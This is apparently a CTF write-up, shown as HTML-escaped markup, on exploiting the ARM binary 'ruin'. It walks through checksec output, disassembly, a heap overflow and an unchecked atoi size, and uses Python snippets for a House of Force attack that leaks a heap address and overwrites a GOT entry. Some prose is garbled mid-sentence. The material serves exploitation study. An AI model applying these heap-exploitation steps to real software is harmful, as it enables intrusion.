&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ruin.7b694dc96bf316a40ff7163479850f78:&lt;&#x2F;span&gt;&lt;span&gt; ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; dynamically linked, interpreter &#x2F;lib&#x2F;ld-linux-armhf.so.3, for GNU&#x2F;Linux 2.6.26, BuildID&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;sha1&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt;=072b955ca434ca0c1df6507144d4a2c4cdc9078e, stripped
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;gef➤&lt;&#x2F;span&gt;&lt;span&gt;  checksec ruin.7b694dc96bf316a40ff7163479850f78
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; checksec for &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;ruin.7b694dc96bf316a40ff7163479850f78&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Canary:&lt;&#x2F;span&gt;&lt;span&gt;                                           Yes
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;NX&lt;&#x2F;span&gt;&lt;span&gt; Support:                                       Yes
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;PIE&lt;&#x2F;span&gt;&lt;span&gt; Support:                                      No
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;RPATH:&lt;&#x2F;span&gt;&lt;span&gt;                                            No
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;RUNPATH:&lt;&#x2F;span&gt;&lt;span&gt;                                          No
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Partial&lt;&#x2F;span&gt;&lt;span&gt; RelRO:                                    No
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Full&lt;&#x2F;span&gt;&lt;span&gt; RelRO:                                       No
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Since the target is an ARM binary, I heavily relied on the tool I wrote,
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;hugsy&#x2F;gef&quot;&gt;GDB-GEF&lt;&#x2F;a&gt; to help me in the exploitation process.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;vulnerability&quot;&gt;Vulnerability&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;code&gt;ruin&lt;&#x2F;code&gt; is an ARM ELF binary that allows you to store “securely” messages in
memory, acting like a safe.&lt;&#x2F;p&gt;
&lt;p&gt;The real &lt;code&gt;main()&lt;&#x2F;code&gt; function starts at 0x00008A88 and starts by allocating on the
heap (&lt;code&gt;malloc()&lt;&#x2F;code&gt;) an 8-byte chunk, then jump
to a function at 0x89CC (which I’ve called &lt;code&gt;get_key_security&lt;&#x2F;code&gt;) to authenticate
and unlock the safe.
&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;WhZ5QLW.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;WhZ5QLW.png&quot;

    

    
    title=&quot;get-key-security&quot;
    alt=&quot;get-key-security&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;The &lt;code&gt;strncmp()&lt;&#x2F;code&gt; call trivially shows the expected initial key, in this case
&lt;code&gt;security&lt;&#x2F;code&gt;. Once the safe is unlocked, 4 different operations are possible:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;Update the key (function @0x000087D0, which I will call &lt;code&gt;update_key()&lt;&#x2F;code&gt; in
the rest of this write-up): this function will allocate a
16-byte &lt;code&gt;key&lt;&#x2F;code&gt; chunk, and copy the content from stdin.&lt;&#x2F;li&gt;
&lt;li&gt;Edit a secret stored (function @0x0000884C,  which I will call
&lt;code&gt;edit_secret()&lt;&#x2F;code&gt;): if the &lt;code&gt;secret&lt;&#x2F;code&gt; chunk is
not allocated, then the function invokes &lt;code&gt;malloc(8)&lt;&#x2F;code&gt;. Then it performs an
&lt;code&gt;fgets()&lt;&#x2F;code&gt; to store 24 bytes from stdin (us!) into this buffer. We immediately
spot a heap overflow here.
&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;sTpxqBT.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;sTpxqBT.png&quot;

    

    
    title=&quot;heap-ovf&quot;
    alt=&quot;heap-ovf&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;Sign the secret with your name (function @0x000088B8, &lt;code&gt;sign_name()&lt;&#x2F;code&gt;): if the &lt;code&gt;name&lt;&#x2F;code&gt; chunk
is not NULL (i.e. already allocated), then the function returns. Otherwise,
it calls the &lt;code&gt;read_int()&lt;&#x2F;code&gt; function at 0x0875C which prompts the user for the
name size with &lt;code&gt;atoi()&lt;&#x2F;code&gt;, checks it’s higher than 0x20 bytes, if
so, &lt;code&gt;malloc(size)&lt;&#x2F;code&gt; and reads its contents from stdin using &lt;code&gt;fgets()&lt;&#x2F;code&gt;.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:0000875C&lt;&#x2F;span&gt;&lt;span&gt;        read_int                                ; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;CODE&lt;&#x2F;span&gt;&lt;span&gt; XREF: sign_name+34
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:0000875C&lt;&#x2F;span&gt;&lt;span&gt; result          =&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -0x2C
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:0000875C&lt;&#x2F;span&gt;&lt;span&gt; buffer          =&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -0x28
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:0000875C&lt;&#x2F;span&gt;&lt;span&gt; canary          =&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -8
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:0000875C
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[...]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:00008774&lt;&#x2F;span&gt;&lt;span&gt;                 LDR     R3, =stdin
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:00008778&lt;&#x2F;span&gt;&lt;span&gt;                 LDR     R3, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;R3&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:0000877C&lt;&#x2F;span&gt;&lt;span&gt;                 SUB     R2, R11, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;#-buffer
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:00008780&lt;&#x2F;span&gt;&lt;span&gt;                 MOV     R0, R2          ; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;s
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:00008784&lt;&#x2F;span&gt;&lt;span&gt;                 MOV     R1, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;#32         ; n
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:00008788&lt;&#x2F;span&gt;&lt;span&gt;                 MOV     R2, R3          ; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;stream
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:0000878C&lt;&#x2F;span&gt;&lt;span&gt;                 BL      fgets
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:00008790&lt;&#x2F;span&gt;&lt;span&gt;                 SUB     R3, R11, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;#-buffer
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:00008794&lt;&#x2F;span&gt;&lt;span&gt;                 MOV     R0, R3          ; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;nptr
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:00008798&lt;&#x2F;span&gt;&lt;span&gt;                 BL      atoi
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:0000879C&lt;&#x2F;span&gt;&lt;span&gt;                 STR     R0, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;R11,#result&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;]
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol&gt;
&lt;li&gt;Leave (function @0x00008978, &lt;code&gt;leave()&lt;&#x2F;code&gt;): invokes &lt;code&gt;free()&lt;&#x2F;code&gt; to de-allocate the 3
buffers allocated by the steps above, and then exit cleanly.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;We have 2 vulnerabilities here:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;The heap overflow explained in the &lt;code&gt;edit_secret()&lt;&#x2F;code&gt; function&lt;&#x2F;li&gt;
&lt;li&gt;The integer overflow from the &lt;code&gt;sign_name()&lt;&#x2F;code&gt; function, since the &lt;code&gt;atoi()&lt;&#x2F;code&gt;
call is not checked for negative integer before being compared. This allows
us to control the size of the next &lt;code&gt;malloc()&lt;&#x2F;code&gt; call (the one used to store the
name).&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;exploitation&quot;&gt;Exploitation&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;the-house-of-force&quot;&gt;The House of Force&lt;&#x2F;h4&gt;
&lt;p&gt;With those 2 vulnerabilities, and the fact that we can control another chunk to
be allocated (through the &lt;code&gt;update_key()&lt;&#x2F;code&gt; function), we have now a perfect
scenario for an &lt;strong&gt;“House of Force”&lt;&#x2F;strong&gt; heap exploitation. If you need a reminder, I
recommend you read &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;phrack.org&#x2F;issues&#x2F;66&#x2F;10.html&quot;&gt;this&lt;&#x2F;a&gt; and
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;sploitfun.wordpress.com&#x2F;2015&#x2F;03&#x2F;04&#x2F;heap-overflow-using-malloc-maleficarum&#x2F;&quot;&gt;this&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;The idea behind this attack (which still works against recent libc heap
allocator), is to be able to control the size of one chunk. By making the value
of the size for this new chunk very big, it will allow us to overflow the
address space, and make the chunk upper bound finish in an “interesting” writable
location, for example, the
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.technovelty.org&#x2F;linux&#x2F;plt-and-got-the-key-to-code-sharing-and-dynamic-libraries.html&quot;&gt;Global Offset Table&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;When we reach the “main” loop, the &lt;code&gt;secret&lt;&#x2F;code&gt; chunk (8 bytes) is already
allocated. So we can use the &lt;code&gt;malloc(name_size)&lt;&#x2F;code&gt; to create a chunk that will
overflow the address space and end in the GOT, which starts at 0x00010F48.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;0xffffffff&lt;&#x2F;span&gt;&lt;span&gt;   .            .
&lt;&#x2F;span&gt;&lt;span&gt;                                 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;            .
&lt;&#x2F;span&gt;&lt;span&gt;                                 |     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;^      &lt;&#x2F;span&gt;&lt;span&gt;|
&lt;&#x2F;span&gt;&lt;span&gt;                                 |     |      |
&lt;&#x2F;span&gt;&lt;span&gt;                                 |     |      |
&lt;&#x2F;span&gt;&lt;span&gt;                                 |     |      |     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;malloc&lt;&#x2F;span&gt;&lt;span&gt;() call for allocating the
&lt;&#x2F;span&gt;&lt;span&gt;                                 |     |      |     name.
&lt;&#x2F;span&gt;&lt;span&gt;                                 |            |
&lt;&#x2F;span&gt;&lt;span&gt;                                 |            |
&lt;&#x2F;span&gt;&lt;span&gt;                                 |   secret   |  &amp;lt;- Heap overflow: we can overwrite the
&lt;&#x2F;span&gt;&lt;span&gt;                                 |            |     chunk)
&lt;&#x2F;span&gt;&lt;span&gt;                                 |            |
&lt;&#x2F;span&gt;&lt;span&gt;                                 .            .
&lt;&#x2F;span&gt;&lt;span&gt;                                 .            .
&lt;&#x2F;span&gt;&lt;span&gt;                                 |            |
&lt;&#x2F;span&gt;&lt;span&gt;                                 | printf@got |
&lt;&#x2F;span&gt;&lt;span&gt;                                 | exit@got   |
&lt;&#x2F;span&gt;&lt;span&gt;                                 | puts@got   | &amp;lt;- Target we want overridden
&lt;&#x2F;span&gt;&lt;span&gt;                                 | free@got   |    so we make malloc(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;name_length&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;                                 |            |    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;header&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt; The next malloc(key) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;will
&lt;&#x2F;span&gt;&lt;span&gt;                                 |            |    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;overwrite&lt;&#x2F;span&gt;&lt;span&gt; the GOT with controlled
&lt;&#x2F;span&gt;&lt;span&gt;                                 |            |    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;data.
&lt;&#x2F;span&gt;&lt;span&gt;                     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;0x00000000&lt;&#x2F;span&gt;&lt;span&gt;  .            .
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;So what size do we need for the &lt;em&gt;name&lt;&#x2F;em&gt; chunk? We know that the &lt;em&gt;key&lt;&#x2F;em&gt; chunk can
write 16 bytes, so 4 DWORD. And also, the target address must be aligned to 2
DWORD (8 bytes - because it is an ARM 32 bits).&lt;&#x2F;p&gt;
&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;DQjJxu6.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;DQjJxu6.png&quot;

    

    
    title=&quot;got&quot;
    alt=&quot;got&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;&lt;h4 id=&quot;leaking-heap-memory&quot;&gt;Leaking heap memory&lt;&#x2F;h4&gt;
&lt;p&gt;But we have a problem, we don’t know where the heap pages are located in the memory
&lt;code&gt;fread()&lt;&#x2F;code&gt;, which unlike
&lt;code&gt;fgets()&lt;&#x2F;code&gt; does not append a NULL byte at the end of the string.&lt;&#x2F;p&gt;
&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;Wml7uwI.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;Wml7uwI.png&quot;

    

    
    title=&quot;auth-func&quot;
    alt=&quot;auth-func&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;This allows to leak addresses some precious bytes from the heap, doing something like this:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;auth&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;s&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;    s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;read_until&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;please input your 8-bit key:&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;    s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;A&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    leak = s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;read_until&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;    leak = leak.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;replace&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt; is wrong, try again!&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, &amp;#39;&amp;#39;)
&lt;&#x2F;span&gt;&lt;span&gt;    leak = leak.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;replace&lt;&#x2F;span&gt;&lt;span&gt;(&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;A&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;, &amp;#39;&amp;#39;)
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(leak)&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;: leak += &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x00&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;*(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(leak))
&lt;&#x2F;span&gt;&lt;span&gt;    leak = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;i_u&lt;&#x2F;span&gt;&lt;span&gt;(leak)
&lt;&#x2F;span&gt;&lt;span&gt;    s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;read_until&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;please input your 8-bit key:&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;    s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;security&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span&gt;leak
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;controlling-pc&quot;&gt;Controlling $pc&lt;&#x2F;h4&gt;
&lt;p&gt;From the heap memory leak, we know the address of the &lt;code&gt;secret&lt;&#x2F;code&gt; chunk, which
means that the &lt;code&gt;name&lt;&#x2F;code&gt; chunk headers will be located exactly 8 bytes after.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span&gt;     |  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;secret  &lt;&#x2F;span&gt;&lt;span&gt;|  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;name     &lt;&#x2F;span&gt;&lt;span&gt;|   | &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;key      &lt;&#x2F;span&gt;&lt;span&gt;|
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;So we must set the length for the &lt;code&gt;name&lt;&#x2F;code&gt; chunk dynamically by using the
&lt;code&gt;update_key()&lt;&#x2F;code&gt; function:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ATOI_GOT   &lt;&#x2F;span&gt;&lt;span&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x00010F80 &lt;&#x2F;span&gt;&lt;span&gt;- &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;8
&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;sign_name&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;s&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;addr&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;select_menu_entry&lt;&#x2F;span&gt;&lt;span&gt;(s, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    new_sz = -addr + &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ATOI_GOT
&lt;&#x2F;span&gt;&lt;span&gt;    name = &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;JUNK&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;8
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ok&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;malloc(name) with size=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%#x&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; % new_sz)
&lt;&#x2F;span&gt;&lt;span&gt;    s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;read_until&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;please input your name length:&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;    s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%d&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; % new_sz)
&lt;&#x2F;span&gt;&lt;span&gt;    s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;read_until&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;enter your name:&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;    s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span&gt;(name)
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;return
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;secret_addr    = leak - &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;8
&lt;&#x2F;span&gt;&lt;span&gt;name_addr      = secret_addr + &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;8 &lt;&#x2F;span&gt;&lt;span&gt;+ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;8
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;sign_name&lt;&#x2F;span&gt;&lt;span&gt;(s, name_addr)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The heap is now set dynamically with the correct offset. The next call to
&lt;code&gt;malloc()&lt;&#x2F;code&gt; will overwrite the GOT entry of &lt;code&gt;atoi@got&lt;&#x2F;code&gt; with our data!&lt;&#x2F;p&gt;
